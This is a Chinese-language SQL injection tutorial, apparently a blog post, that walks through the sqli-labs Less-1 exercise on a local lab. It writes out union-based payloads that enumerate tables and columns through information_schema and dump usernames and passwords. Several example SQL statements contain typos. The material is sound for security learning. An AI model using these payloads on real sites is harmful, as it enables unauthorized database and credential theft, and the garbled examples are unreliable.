首先讲一下SQL注入产生的原因:前台用户输入的数据传到服务端时,没有严格判断,过滤等,导致传进来的数据被拼接到sql语句中被执行,从而导致数据泄露,可能会服务器瘫痪。
SQL注入的分类:
从反馈的结果来看
- 有回显型
- 无回显型/盲注
攻击手法上来看:
- 联合查询注入:union select
- 堆叠注入:mysql_multi_query()函数支持多条sql语句同时执行,就是多个 ; 分隔,成堆的执行sql语句,如: PHP为了防止sql堆叠注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
基本的Mysql使用方法:
使用cmd登录Mysql:配置环境变量到Mysql的bin目录下:比如我这里:
如果你没用配置环境变量的话需要在Mysql的bin目录下打开cmd,执行mysql
E:\PHPstudy\Extensions\MySQL5.7.26\bin
输入 mysql -u root -p 输入密码(默认root)
查看Mysql的版本信息:
输入 \s
status
select version()
基本的使用命令:
查看所有数据库: mysql> show databases;
使用某个数据库:use shujuku
插入数据:INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,…)
查询数据库:SELECT 列名称 FROM 表名称 WHERE 字段1 = ‘条件1’ AND 字段2 = ‘条件2’
查询数据库:UPDATE 表名称 SET 列名称a = 新值 WHERE 列名称 = 某值
删除数据库:DELETE FROM 表名称 WHERE 列名称 = 值
举例:
insert into students vlaues(NULL,"aa","20","23456");
select name,age from students; select * from studerts where sex = "女"
xupdate students set tel = 132 where id = 2;
delect from students where id = 1;
Mysql的部分知识点:
- 在Mysql5.0以上版本中存在一个数据库名为information_schema,他是一个记录所有数据库名,表名,列名的数据库,相当于可以查询它获取指定数据库下面的表名和列名。
- 数据库中 " . " 代表下一级,比如说: test.user 表示test数据库下的user表
- 常听说的注入输入 and 1=1 1=2 等,就是用来判断是否是注入点,可以换种尝试方法,直接在id=1 加上随便输入的字符,通过比较也能看出是否存在注入漏洞,考虑到and or 可能会被防护给拦截。
- 讲到了information_schema包含了很多信息,那么就可以利用
- information_schema.scheata:记录数据库的表
- information_schema.tables:记录所有表名
- information_schema.columns:记录所有列名
- table_schema:数据库名
- table_name:表名
- column_name:列名
- group_concat(): 显示所有的括号内的信息
第一关:less-1基于错误的GET单引号字符型注入
首先做SQL注入的题目,以后的CTF题目也是,需要知道参数是什么,不是所有的参数都是id,也能是file等等。然后是判断注入点,注入点很重要,如果不是注入的地方,测试都是白搭。
注入点的判断:
参数x有注入的题目,下面能注入的是?
A:www.eliauk.com/wang.php?y=1 and 1=1&x=2
B:www.eliauk.com/wang.php?y=1&x=2 and 1=1
C:www.eliauk.com/wang.php?y=1 and 1=1&x=2 and 1=1
这里就是 x 有注入点,那么注入在x后面,B C 是对的
希望看完这个能有点理解
随意输入字符报错了,本来是正常界面的,说明就是注入点。
http://127.0.0.1/sqlilabs/Less-1?id=1 order by 3-- -
这样尝试的目的就是判断出表的列数 3正常,4回显不正常
http://127.0.0.1/sqlilabs/Less-1?id=1 order by 4-- -
下一步,获得数据库名,表名,列名,数据
让union select前面的参数查不出来,所以id=-1
http://127.0.0.1/sqlilabs/Less-1?id=-1 union select 1,2,database() -- -
这一步获取的是表名
http://127.0.0.1/sqlilabs/Less-1?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database() -- -
获取列名:这里注意几个地方:修改的代码不用多说,没理解的向上看查询 所有数据库表列 的表示方法。。通过上面得到的表名,我们这里选择一个,选择信息价值最高的。加上单引号。最后的and table_schema = 'security' 意思是选择某个数据库,因为information_schema.columns记录的所有的列名,从表名中看列名的话,可能users这个表,很多其他的数据库也有。会导致混乱
http://127.0.0.1/sqlilabs/Less-1?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' and table_schema='security'-- -
最后获得列下面的数据:
http://127.0.0.1/sqlilabs/Less-1?id=-1 union select 1,2,group_concat(username,0x3a,password) from users -- -
到此第一关的详细过程就完了。
后面只会把前30关的关键步骤写出来。不需要那么详细了